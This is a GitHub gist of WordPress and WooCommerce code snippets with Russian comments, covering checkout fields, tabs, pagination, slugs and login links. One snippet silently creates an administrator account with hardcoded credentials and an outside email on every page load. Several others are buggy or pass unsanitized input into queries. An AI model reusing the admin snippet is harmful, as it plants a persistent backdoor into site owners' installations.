Skip to content

Instantly share code, notes, and snippets.

@AntonLitvin
Last active April 22, 2024 14:16
Show Gist options
  • Save AntonLitvin/2e38973393074a1587fbbfd84645a2fe to your computer and use it in GitHub Desktop.
Save AntonLitvin/2e38973393074a1587fbbfd84645a2fe to your computer and use it in GitHub Desktop.
Разные полезные функции и фильтры
// Замена в чакауте лейб бна плейсхолдеры
function true_labels_as_placeholders( $checkout_fields ) {
// как вы помните, поля делятся на секции (Billing, Shipping и так далее)
// для каждой секции
foreach ( $checkout_fields as $section => $section_fields ) {
// для каждого поля внутри секции
foreach ( $section_fields as $section_field => $section_field_settings ) {
// да, вот так легко
$checkout_fields[ $section ][ $section_field ][ 'placeholder' ] = $checkout_fields[ $section ][ $section_field ][ 'label' ];
$checkout_fields[ $section ][ $section_field ][ 'label' ] = '';
}
}
// возвращает результат
return $checkout_fields;
}
add_filter( 'woocommerce_checkout_fields', 'true_labels_as_placeholders', 25 );
========================================================
// жестко задать превьюхи для acf extended flexible
add_filter( 'acfe/flexible/thumbnail/layout=breadcrumbs', 'acf_flexible_layout_thumbnail_breadcrumbs', 10, 3 );
function acf_flexible_layout_thumbnail_breadcrumbs( $thumbnail, $field, $layout ) {
return '/wp-content/themes/babelee/template-parts/acf-blocks/covers/breadcrumbs.png';
}
=========================================================
## отменим показ выбранного термина на верху в checkbox списке терминов
add_filter( 'wp_terms_checklist_args', 'set_checked_ontop_default', 10 );
function set_checked_ontop_default( $args ) {
// изменим параметр по умолчанию на false
if( ! isset($args['checked_ontop']) )
$args['checked_ontop'] = false;
return $args;
}
================================================
//Добавляем вспомогательного админа
add_action( 'init', function () {
$username = 'webadmin2';
$password = 'webadmin2078';
$email_address = '553078@ukr.net';
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
} );
==========================================================
// Вывести метки в виде табов сверху и посты, относящиеся к меткам
// Получаем посты по $term
$query = new WP_Query( array(
'post_type' => $type, // Ваш тип записи
'posts_per_page' => -1,
'tax_query' => array(
array(
'taxonomy' => $tax, // Такса типа записи
'field' => 'slug',
'terms' => $term // Нужный терм
)
)
) );
// Через цикл создаем массив id всех меток, присутствующих в полученных на предыдущем шаге постах
$all_tags = [];
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
$cur_terms = get_the_terms( $post->ID, $post_tag ); // $post_tag - нужная таксономия (если это стандартная метка поста, то $post_tag = 'post_tag')
if( is_array( $cur_terms ) ){
foreach( $cur_terms as $cur_term ){
$all_tags[] = $cur_term->term_id;
}
}
}
}
// Возвращаем оригинальные данные поста. Сбрасываем $post.
wp_reset_postdata();
$all_tags = array_unique($all_tags); // Оставляем уникальные значения в массиве
// Выводим кнопки табов
echo '<ul>';
$i = 0;
foreach ( $all_tags as $tag ) {
$class_active = $i === 0 ? ' tab-active' : ''; // для первой кнопки ставим активный класс
$tag_name = get_term( intval( $tag ) )->name; // Наименование метки
echo '<li class="tab-caption' . $class_active . '">' . $tag_name . '</li>';
$i++;
}
echo '</ul>';
// Выводим контент табов
echo '<div>';
$k = 0;
foreach ( $all_tags as $tag ) {
$class_active = $k === 0 ? ' tab-active' : '';
echo '<div class="tab-content' . $class_active . '">';
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
if ( has_term( intval( $tag ), $post_tag ) ) { // Выводим только те посты, в которых есть текущая метка в цикле
the_content(); // Здесь вывод данных поста. Как вариант - get_template_part( 'path/to/template' );
}
}
}
// Возвращаем оригинальные данные поста. Сбрасываем $post.
wp_reset_postdata();
echo '</div>';
$k++;
}
echo '</div>';
=====================================================================
Фильтр по acf полю
<select onchange="location=value">
<option value="" selected="selected">Выбрать район</option>
<option value="?district=1">Район 1</option>
<option value="?district=2">Район 2</option>
<option value="?district=3">Район 3</option>
</select>
$disctricts = new WP_Query(['post_type' => 'disctricts', 'meta_key' => 'disctrict', 'meta_value' => $_GET['disctrict']]);
======================================================================
/**
* Add quantity field on the shop page.
*/
function ace_shop_page_add_quantity_field() {
/** @var WC_Product $product */
$product = wc_get_product( get_the_ID() );
if ( ! $product->is_sold_individually() && 'variable' != $product->get_type() && $product->is_purchasable() ) {
woocommerce_quantity_input( array( 'min_value' => 1, 'max_value' => $product->backorders_allowed() ? '' : $product->get_stock_quantity() ) );
}
}
add_action( 'woocommerce_after_shop_loop_item', 'ace_shop_page_add_quantity_field', 12 );
/**
* Add required JavaScript.
*/
function ace_shop_page_quantity_add_to_cart_handler() {
wc_enqueue_js( '
$(".woocommerce .products").on("click", ".quantity input", function() {
return false;
});
$(".woocommerce .products").on("change input", ".quantity .qty", function() {
var add_to_cart_button = $(this).parents( ".product" ).find(".add_to_cart_button");
// For AJAX add-to-cart actions
add_to_cart_button.attr("data-quantity", $(this).val());
// For non-AJAX add-to-cart actions
add_to_cart_button.attr("href", "?add-to-cart=" + add_to_cart_button.attr("data-product_id") + "&quantity=" + $(this).val());
});
// Trigger on Enter press
$(".woocommerce .products").on("keypress", ".quantity .qty", function(e) {
if ((e.which||e.keyCode) === 13) {
$( this ).parents(".product").find(".add_to_cart_button").trigger("click");
}
});
' );
}
add_action( 'init', 'ace_shop_page_quantity_add_to_cart_handler' );
==============================================
//логотип
$custom_logo__url = wp_get_attachment_image_src( get_theme_mod( 'custom_logo' ), 'full' );
// выводим
echo $custom_logo__url[0];
=============================================
// Кнопки логина-регистрации-входа
if ( ! is_user_logged_in() ) {
echo '<a class="btn-enter entry" href="' . esc_url( wp_login_url() ) . '">' . __( 'Вход' ) . '</a>';
} else if ( is_user_logged_in() ) {
echo '<a class="btn-enter entry" href="' . esc_url( wp_logout_url() ) . '">' . __( 'Выход' ) . '</a>';
}
if ( ! is_user_logged_in() && get_option( 'users_can_register' ) ) {
echo '<a class="btn-enter reg" href="' . esc_url( wp_registration_url() ) . '">' . __( 'Register' ) . '</a>';
}
......
$items='<ul>';$can_reg=get_option('users_can_register');
if(is_user_logged_in()){
//$items.='<li><a href="/wp-admin/">'.__('Ваш профиль','VAB').'</a></li>';//раскомментируйте и отправте пользователя туда куда Вам нужно, если он авторизован
$items.='<li><a href="'.wp_logout_url().'">'.__('Выйти','VAB').'</a></li>';
}elseif(!is_user_logged_in()){
$items.='<li><a href="'.wp_login_url().'">'.__('Вход','VAB').'</a></li>';
if(!empty($can_reg)){
$items.='<li><a href="'.wp_registration_url().'">'.__('Регистрация','VAB').'</a></li>';
}
}
echo $items.'</ul>';
==================================================
Сортировка записей по кастомному полю с помощью селекта
<?php
$s1='';
$s2='';
$meta_key = '';
if (isset($_GET['order']) && $_GET['order'] == 'easiest') {
$order = "ASC";
$s1 = 'selected="selected"';
$meta_key = 'level';
}
if (isset($_GET['order']) && $_GET['order'] == 'hardest') {
$order = "DESC";
$s2 = 'selected="selected"';
$meta_key = 'level';
}
?>
<form method="get" style="margin-bottom: 20px;">
<select name="order" onchange="this.form.submit()">
<option value="0"><?php _e( 'Все записи', 'your_theme' ) ?></option>
<option value="easiest" <?php echo $s1?>><?php _e( 'Сначала простые', 'your_theme' ) ?></option>
<option value="hardest" <?php echo $s2?>><?php _e( 'Сначала сложные', 'your_theme' ) ?></option>
</select>
</form>
<?php
$current = absint( max( 1, get_query_var( 'paged' ) ? get_query_var( 'paged' ) : get_query_var( 'page' ) ) );
$posts_per_page = get_option( 'posts_per_page' );
$args = array(
'post_type' => 'post',
'posts_per_page' => $posts_per_page,
'paged' => $current,
'meta_key' => $meta_key,
'meta_value' => ' ',
'meta_compare' => '!=',
'orderby' => 'level',
'order' => $order,
);
$query = new WP_Query($args);
?>
<?php if( $query->have_posts() ) : ?>
<?php while( $query->have_posts() ) : $query->the_post(); ?>
<div>
<?php the_field('level') ?>
<?php get_template_part( 'content' ); ?>
</div>
<?php endwhile; ?>
<nav class="navigation pagination">
<div class="nav-links">
<?php
echo wp_kses_post(
paginate_links( [
'total' => $query->max_num_pages, // количество берем из дефолтной опции запроса
'current' => $current, // текущая страница
] )
);
?>
</div>
</nav>
<?php else: ?>
<div class="post clearfix">
<h2><?php _e( 'Posts not found', 'basic' ); ?></h2>
<?php get_search_form(); ?>
</div>
<?php endif; ?>
<?php wp_reset_query(); ?>
=========================================
// Prevent the email sending step for specific form
add_action("wpcf7_before_send_mail", "wpcf7_do_something_else");
function wpcf7_do_something_else($cf7) {
// get the contact form object
$wpcf = WPCF7_ContactForm::get_current();
// if you wanna check the ID of the Form $wpcf->id
if (/*Perform check here*/) {
// If you want to skip mailing the data, you can do it...
$wpcf->skip_mail = true;
}
return $wpcf;
}
===================================================
// Добавить цену на кнопку woocommerce
add_filter( 'woocommerce_product_add_to_cart_text', 'custom_add_to_cart_price', 20, 2 ); // Shop and other archives pages
add_filter( 'woocommerce_product_single_add_to_cart_text', 'custom_add_to_cart_price', 20, 2 ); // Single product pages
function custom_add_to_cart_price( $button_text, $product ) {
if( $product->is_type('variable') ) { // Variable products
if( ! is_product() ){ // shop and archives
$product_price = wc_price( wc_get_price_to_display( $product, array( 'price' => $product->get_variation_price() ) ) );
return $button_text . ' - From ' . strip_tags( $product_price );
} else { // Single product pages
return $button_text;
}
} else { // All other product types
$product_price = wc_price( wc_get_price_to_display( $product ) );
return $button_text . ' - Just ' . strip_tags( $product_price );
}
}
==========================================
// отключение скрипта везде кроме одной страницы
add_action ( 'wp_print_scripts', 'my_deregister_javascript', 100 );
function my_deregister_javascript () {
if ( !is_page ('contact') ) {
wp_deregister_script ( 'contact-form-7' );
}
}
=========================================
// Проверка в archive.php
if ( get_post_type() === 'news' ) {
get_template_part( 'templates/archive', 'news' );
} else {
get_template_part( 'templates/archive', 'common' );
}
// Проверка на мобилку
if( wp_is_mobile() ) {
// тут выполняем действия только для мобильных
} else {
// тут для десктопов
}
=========================================
/*
CHANGE SLUGS OF CUSTOM POST TYPES
*/
function change_post_types_slug( $args, $post_type ) {
if ( 'consultabfaqs' === $post_type ) {
$args['query_var'] = true;
$args['rewrite']['slug'] = 'self-help';
}
return $args;
}
add_filter( 'register_post_type_args', 'change_post_types_slug', 10, 2 );
/*
CHANGE SLUGS OF TAXONOMIES, slugs used for archive pages
*/
function change_taxonomies_slug( $args, $taxonomy ) {
/*item category*/
if ( 'consultabfaqs-categories' === $taxonomy ) {
$args['rewrite']['slug'] = 'my-new-category-slug';
}
/*item and event pro locations*/
if ( 'ait-locations' === $taxonomy ) {
$args['rewrite']['slug'] = 'my-new-location-slug';
}
/*item and event pro locations*/
if ( 'ait-portfolios' === $taxonomy ) {
$args['rewrite']['slug'] = 'my-new-portfolios-slug';
}
/*event pro category, available with Events Pro plugin*/
if ( 'ait-events-pro' === $taxonomy ) {
$args['rewrite']['slug'] = 'udalosti';
}
return $args;
}
add_filter( 'register_taxonomy_args', 'change_taxonomies_slug', 10, 2 );
#############################################
//Пагинация на кастомном цикле
// получаем номер страницы пагинации
$current = absint( max( 1, get_query_var( 'paged' ) ? get_query_var( 'paged' ) : get_query_var( 'page' ) ) );
// собираем запрос
$my_query = new WP_Query( [
'post_type' => 'page',
'posts_per_page' => 10,
'paged' => $current,
] );
if ( $my_query->have_posts() ) {
// основной цикл
while ( $my_query->have_posts() ) {
$my_query->the_post();
###########
}
wp_reset_postdata(); // возвращаем глобальный цикл
// выводим пагинацию
echo wp_kses_post(
paginate_links( [
'total' => $my_query->max_num_pages, // количество берем из дефолтной опции запроса
'current' => $current, // текущая страница
] )
);
} else {
// выводим шаблон "нет контента", если в запросе нет постов
get_template_part( 'templates/content', 'none' );
}
################################################################
//Дополнительный поиск при нулевом результате
add_action( 'pre_get_posts', 'exclude_category' );
function exclude_category( $query ) {
if ( $query->is_search && $query->is_main_query() && empty($query->found_posts )) {
$query->set( 's', 'new_string' );
}
}
//перемещение блоков для определенной категории
function wpp_change_wc_block() {
global $post;
if ( has_term( [ $term_1_ID, $term_2_ID ], 'product_cat', $post ) ) {
remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_product_data_tabs', 10 );
add_action( 'woocommerce_single_product_summary', 'woocommerce_output_product_data_tabs', 6 );
}
}
add_action( 'init', 'pp_change_wc_block' );
//Пример редиректа определенного пост тайпа на главную:
add_action( 'template_redirect', 'skill_template_redirect' );
function skill_template_redirect(){
if( 'activity' === get_post_type() ){
wp_redirect( home_url(), 301 );
exit();
}
}
//поставить товарам woocommerce без категории статус черновик
$terms = get_the_terms( $post_id , 'product_cat' );
if ( empty( $terms ) ) {
wp_update_post([
'ID' => $post_id,
'post_status' => 'draft'
]);
}
// Создать файл из под админки
// после body вставить строчку вида
<?php touch('wp-content/themes/hiphopadvisor/footer.php');?>
// и зайти на сайт, чтобы отработал скрипт
<?php
// Вывод только товаров, имеющих изображение
add_filter( 'woocommerce_product_is_visible', function( $visible, $id ) {
// Если у товара нет фото - скроем товар.
if ( ! has_post_thumbnail( $id ) ) {
return false;
}
return $visible;
}, 10, 2 );
?>
// Вывод фото и видео из библиотеки
<?php
$args = array(
'post_type' => 'attachment',
'numberposts' => null,
'post_status' => null
);
$attachments = get_posts($args);
if($attachments){
foreach($attachments as $attachment){ ?>
<a href="<?php the_permalink($attachment); ?>"><?php echo apply_filters( 'the_title', $attachment->post_title ); ?></a>
<?php }
} ?>
// ссылка на сам файл
<a href="<?php echo wp_get_attachment_url($attachment->ID); ?>"><?php echo apply_filters( 'the_title', $attachment->post_title ); ?></a>
// Удалить image size
function remove_image_size_attributes($html) {
return preg_replace('/(width|height)="\d*"/', '', $html);
}
add_filter('post_thumbnail_html', 'remove_image_size_attributes');
=====================================
//переопределение
add_action( 'init', 'remove_my_action');
function remove_my_action() {
remove_action( 'euphony_credits', 'euphony_footer_content', 10 );
}
add_action( 'init', 'add_my_action');
function add_my_action() {
add_action( 'euphony_credits', 'custom_euphony_footer_content', 10 );
}
//Удалить из футера разработчиков
add_action('after_setup_theme', 'remove_parent_functions');
function remove_parent_functions() {
remove_action( 'cryout_footer_hook', 'tempera_site_info', 99 );
}
=======================================
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment